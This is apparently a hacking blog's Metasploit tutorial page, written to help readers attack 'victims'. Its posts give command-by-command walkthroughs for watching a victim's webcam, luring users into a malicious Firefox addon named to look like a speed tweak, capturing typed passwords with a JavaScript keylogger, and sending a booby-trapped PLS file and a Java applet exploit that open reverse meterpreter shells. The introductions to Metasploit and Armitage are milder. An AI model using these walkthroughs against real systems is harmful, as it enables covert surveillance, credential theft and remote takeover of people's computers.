Dear Readers: PWNSCAR is planning to publish a monthly Tech Magazine along with some other blogs. To Contribute CHECK DETAILS

This is default featured slide 1 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.This theme is Bloggerized by Lasantha Bandara - Premiumbloggertemplates.com.

This is default featured slide 2 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.This theme is Bloggerized by Lasantha Bandara - Premiumbloggertemplates.com.

This is default featured slide 3 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.This theme is Bloggerized by Lasantha Bandara - Premiumbloggertemplates.com.

This is default featured slide 4 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.This theme is Bloggerized by Lasantha Bandara - Premiumbloggertemplates.com.

ITS ALL ABOUT TECHNOLOGY

You will be left behind the race if you are lacking in technology. You wont be able to survive with respect. So lets learn a bit about technology. Shall we !

ABOUT ME

Showing posts with label Metasploit. Show all posts
Showing posts with label Metasploit. Show all posts

21 Mar 2013

Metasploit Live Webcam Streaming Of Victim



Its me Aitezaz Known as Soldier Of God (SOG)
You all will be enjoying ur good days !
This Tut is About Webcam hacking !
So when You are successful in compromising a Remote system and after meterpreter session is opened , how to Watch Live Streaming Ov Victim Webcam.


Video Link = http://www.youtube.com/watch?v=17RXTGacKes

29 Jun 2012

Hacking Windows using Mozilla Firefox Addon

Hey all as we know that these days users of firefox increased rapidly and also users like to use addons alot for different purposes like for removing timelines, for making firefox work more goodly. So it will be quite easy for doing social engineering and making fool to your victim.

About This Vulnerability


This exploit dynamically creates a .xpi addon file. The resulting bootstrapped Firefox addon is presented to the victim via a web page with. The victim's Firefox browser will pop a dialog asking if they trust the addon. Once the user clicks "install", the addon is installed and executes the payload with full user permissions. As of Firefox 4, this will work without a restart as the addon is marked to be "bootstrapped". As the addon will execute the payload after each Firefox restart, an option can be given to automatically uninstall the addon once the payload has been executed.

Things Required


Attacker's Machine --> Backtrack 5

Victim's Machine--> Windows Machine

So let's start, follow me

1. Open metasploit framework and then use exploit  firefox xpi bootstrapped addon exploit.

so our command will be use exploit/multi/browser/firefox_xpi_bootstrapped addon.

After that set your payload as per as your choice. For this tutorial i will be using windows/meterpreter/reverse_tcp.
So our command will be  set payload windows/meterpreter/reverse_tcp.

So you must get something as shown in below image


2. Ok so now our exploit and payload are set but now we need to check whether all the options are ok or not . For that use command show options  this will show us all the things necessary for doing this attack.
Now fill all the options with required things.
In my case all the required options are filled as shown in below image.






Information of the things filled-->

  set addonname tweak firefox to load faster --> eye catching name for social engineering purpose

  set srvhost xxx.xxx.xxx--> your server ip address run the exploit 

  uripath firefox-tweaker --> make the URL more friendly

  set lhost xxx.xxx.xxx--> local ip address to receive connection from victim


 3. So if everything is filled correctly then you can start your attack by using exploit command,






Now send your url to the victim in my condition the url is http://192.168,174.130:8080/firefox-tweaker.

4. Our victim will get screen something similar to the below screen.





5. Now if victim successfully installed the addon then we can use sessions -l command to see the information.


We can do many things like taking screenshots,downloading files and also we can put our backdoor for future. I will be telling all this in future tutorials.


I hope you all enjoyed this tutorial and if u feel any confusion or problem then you may ask in comments.

18 Jun 2012

Amritage - Cyber Attack Management

Hey all in this tutorial i will be tellig you all about amritage. I think you all must have heard about amritage. Armitage is a graphical cyber attack management tool for Metasploit that visualises your targets, recommends exploits, and exposes the advanced capabilities of the framework.
So i suggest you to read about metasploit firstly if u havent read it.







What Is Amritage ?



Armitage is a comprehensive red team collaboration tool for Metasploit that visualizes targets, recommends exploits, and exposes the advanced post-exploitation features in the framework.
 Also when metasploit and armitage meet to each other than they make a powerful cyber management tool for doing pentesting on the network(s). Armitage allow your team to use the same sessions, share data, and communicate through one Metasploit instance. It is very helpful tool to learn about the cyber security because it provides a graphical interface instead of command line.

Installing Amritage


Amritage is already installed in Backtrack. For opening just follow the directories given below


Application--Backtrack--Exploitation Tools--Network Exploitation Tools--Metasploit Framework--Amritage


Installing Amritage In Linux/Ubuntu

To install amritage in backtrack we can use simple command but note before executing this application you must be you must be a root user.
So open your terminal and type


  $ sudo su 

# apt-get install armitage 

 
We also need to enable RPC daemon for metasploit .

For that open terminal and type

  root@bt:~# msfrpcd -f -U msf -P test -t Basic



Now we have to start MYSQL server so that amritage stores result

For that open terminal and type

    root@bt:~# /etc/init.d/mysql start


Now time comes to start our amritage.

For that open terminal and type 

root@bt:/pentest/exploits/armitage# ./armitage.sh

 
After applying the following command   a new window must be appear, setup the default host name if you want to use SSL than tick on it.




Armitage connect.png





 Installing Amritage In Windows



For installing amritage in windows follow me step by step

(1) Download and Install the Metasploit Framework from http://www.metasploit.com/

(2) Go to Start -> All Programs -> Metasploit Framework -> Metasploit Update

  Note-->  Don't skip this step or you will have headaches later. If Metasploit tells you
    any Armitage files conflict, then delete the files and repeat this step.

(3) Go to Start -> All Programs -> Metasploit Framework -> MSF Console. This will
    launch the Metasploit console and ready the database for use with Metasploit.

(4) Unzip this archive into the Metasploit directory
    (e.g., c:\program files\rapid7\framework\)

(5) Create a shortcut (on your desktop maybe?) to armitage.bat and set the icon
    to icons\armitage.ico

 That's it. Now you can double-click your shortcut, Start MSF, and Armitage
    should just work.

In the future, all of these steps will be handled by the Metasploit installer.

If you want to use Armitage as a stand-alone client, navigate to: msf3/data/armitage
and double-click armitage.exe. This will launch Armitage without the pre-populated
database settings.



It is enough for this tutorial in future tutorials i will try to tell you all how to use amritage and also show you all about its features


I hope you all enjoyed this tutorial and if u feel any confusion or problem then you may ask in comments.

15 Jun 2012

Introduction of Metasploit

Hey all in this tutorial i will be telling you all about basic of metasploit. As i already posted some tutorials on hacking with metasploit but i though to explain that how does these attcaks occurs and how does it works because by just copy/pasting the commands will not make you a hacker instead of that understanding the functions and the way of there working will help you all to develop an idea and ability of generating new things.


Ok so that was enough to explain you all that why is it necessay to know about functions and basics of metasploit. 



http://i.zdnet.com/blogs/2008/07/metasploit.png

What Is Metasploit ?


It is an open-source computer security project which provides information about security vulnerabilities and aids in penetration testing and IDS signature development. Its most well-known sub-project is the Metasploit Framework, a tool for developing and executing exploit code against a remote target machine. Other important sub-projects include the Opcode Database, shellcode archive, and security research.

Basically Metasploit is tool which provides complete environment for hacking.

Metasploit is ran by rapid7 community & Metasploit is the biggest software which is written in ruby.


Why Metasploit ?



 1. It  is free and easy to use and one can develop his own exploits,payloads etc and can use it with metasploit easily.

 2.  It comes with over 690 exploits and  which are updated on regular basis.

3.   We can use diffrent plugins,external tools to improve the productivity of metasploit for example SET(social engineering toolkit), beEF, XSSF, Nexpose , NMAP, W3af n many more.

Types Of Metasploit



Metasploit is available in 3 versions

   1. Metasploit Pro - for pentesters.

  2.  Metasploit Express- for IT security teams.

  3.   Metasploit Framework - Its an open source & avialable for download for free.


Installing Metasploit


Ok so now comes installing process. I will tell you how to install metasploit on both windows and linux.

 If you are using backtrack then it is already provided there.

For installing metasploit on ubuntu we need to install some packages, for that open terminal and type

    $ sudo apt-get install ruby libruby rdoc
    $ sudo apt-get install libyaml-ruby
    $ sudo apt-get install libzlib-ruby
    $ sudo apt-get install libopenssl-ruby
    $ sudo apt-get install libdl-ruby
    $ sudo apt-get install libreadline-ruby
    $ sudo apt-get install libiconv-ruby
    $ sudo apt-get install rubygems


Now after downloading packages click here to download metasploit, and in this case we have downloaded Linux-full.run file and we need to become a root user to run this installation on the terminal type $ sudo su.

Now we have to  locate the directory where you have downloaded metasploit before for that type $ ./name_of_file.run.

Now just forward it accept the agreement, after installation, to run metasploit on the terminal type $ msfconsole.



Ok for installing metasploit in windows we need to download the executable file of metasploit click here to  download.

The installer includes the following packages

    Console2


    Ruby 1.9.2


    PostgreSQL


    Java JDK 6


    Subversion


    VNCViewer


    WinVI32


    Nmap 5.6


So we dont need to download any other file, just run the installer and we are done.



Working Of Metasploit

 

metasploit

 The Basic use of metasploit

1. Pick which exploit to use
2. Configure the exploit with remote IP address and remote port number
3. Pick a payload
4. Configure the payload with local IP address and local port number
5. Execute the exploit


Basically metasploit works on these 5 things

        EXPLOIT
        PAYLOADS
        AUXILIARY
        NOPS
       ENCODERS


 What is an exploit -

To take advantage of a vulnerability, you often need an exploit, a small and highly specialized computer program whose only reason of being is to take advantage of a specific vulnerability and to provide access to a computer system. Exploits often deliver a payload to the target system to grant the attacker access to the system.Here is a article on basic working of EXPLOITS

What is a payload?

A payload is the piece of software that lets you control a computer system after it’s been exploited. The payload is typically attached to and delivered by the exploit. Just imagine an exploit that carries the payload in its backpack when it breaks into the system and then leaves the backpack there.

Basically payload is the way you want to hack your target.Meterpreter is the most reliable payload & we will use it in most of the cases ahead

What is auxiliary?

Metasploit comes with 358 auxiliary.Basically auxiliary is used for information gathering before exploitation for ex if the machine is vulnerable to an attack or not .

What are Nops & Encoders?
Metasploit comes with 8nops & 27 encoders these are used to bypass antiviruses/firewall via different techniques



So its enough for this tutorial in later tutorials i will be telling you more things in metasploit.



  I hope you all enjoyed this tutorial and if u feel any confusion or problem then you may ask in comments. 


24 May 2012

Hacking With Java Script Keylogger In Metaspolit

Hey awl in diz tut i will tell you awl how to use Java Script Keylogger in Metaspolit.

Features Of Java Script Keylogger


This module runs a web server that demonstrates keystroke logging through JavaScript. The DEMO option can be set to enable a page that demonstrates this technique. Future improvements will allow for a configurable template to be used with this module. To use this module with an existing web page, simply add a script source tag pointing to the URL of this service ending in the .js extension. For example, if URIPATH is set to "test", the following URL will load this script into the calling site: http://server:port/test/anything.js.


Ok so here we go

Open backtrack terminal type



Now search keylogger. Now you should be able to see the module.





Now type use auxiliary/server/capture/http_javascript_keylogger
Msf exploit (http_javascript_keylogger)>set demo true
Msf exploit (http_javascript_keylogger)>set lhost 192.168.213.128 (IP of Local Host)
Msf exploit (http_javascript_keylogger)>set srvhost 192.168.213.128 (This must be an address on the local machine)
Msf exploit (http_javascript_keylogger)>set uripath keylogger (The Url to use for this exploit)
Msf exploit (http_javascript_keylogger)>exploit 




Now send the URL to the victim and add demo at the end of the URL
http://192.168.213.128:8080/ZQVzH0wo89m6zmg/demo

Now as soon as the victim clicks on dt link  it will show something like shown in below screenshot.




As the victims types anything on username and password field that will be stroked and will be shown to you something like in below screenshot

Its quite difficult to make anyone fool through this trick but it depends upon your way of making fool.

17 Apr 2012

Hack Windows PC in Network using Mini-Stream RM-MP3 Converter Buffer Overflow Attack

Mini-Stream RM-MP3 Converter v3.1.2.1 PLS File Stack Buffer Overflow

This module exploits a stack based buffer overflow found in Mini-Stream RM-MP3 Converter v3.1.2.1. The overflow is triggered when an unsuspecting victim opens the malicious PLS file.

Exploit Targets


Mini-stream RM-MP3 Converter v3.1.2

Requirement


Attacker: Backtrack 5

Victim PC: Windows XP

Open backtrack terminal type msfconsole



Now type use exploit/windows/fileformat/mini_stream_pls_bof

Msf exploit (mini_stream_pls_bof) set payload windows/meterpreter/reverse_tcp

Msf exploit (mini_stream_pls_bof)>set lhost 192.168.1.3 (IP of Local Host)

Msf exploit (mini_stream_pls_bof)>exploit







After we successfully generate the malicious MP3, it will stored on your local computer

/root/.msf4/local/msf.pls



Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.1.3

exploit

Now send your msf.pls files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer



15 Apr 2012

Hack Remote PC with Sun Java Applet2ClassLoader Remote Code Execution


Features Of This Module

This module exploits vulnerability in the Java Runtime Environment that allows an attacker to run an applet outside of the Java Sandbox. When an applet is invoked with: 1. A “codebase” parameter that points at a trusted directory 2. A “code” parameter that is a URL that does not contain any dots the applet will run outside of the sandbox. This vulnerability affects JRE prior to version 6 update 24.


>Exploit Targets

Windows XP service pack 2
Windows XP service pack 3
Java 6 Standard Edition prior to update 20
Java 6 Standard Edition Update 18

Requirement

Attacker: Backtrack 5
Victim PC: Windows XP
Open backtrack terminal type msfconsole



Now type use exploit/windows/browser/java_codebase_trust

Msf exploit (java_codebase_trust)>set payload java/meterpreter/reverse_tcp

Msf exploit (java_codebase_trust)>set lhost xxx.xxx.x.x (IP of Local Host)

Msf exploit (java_codebase_trust)>set srvhost xxx.xxx.x.x(This must be an address on the local machine)

Msf exploit (java_codebase_trust)>set uripath javatrust (The Url to use for this exploit)
 
Msf exploit (java_codebase_trust)>exploit





 Now an URL you should give to your victim http://192.168.1.3/javatrust


Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“

10 Feb 2012

How to do Post exploitation with metasploit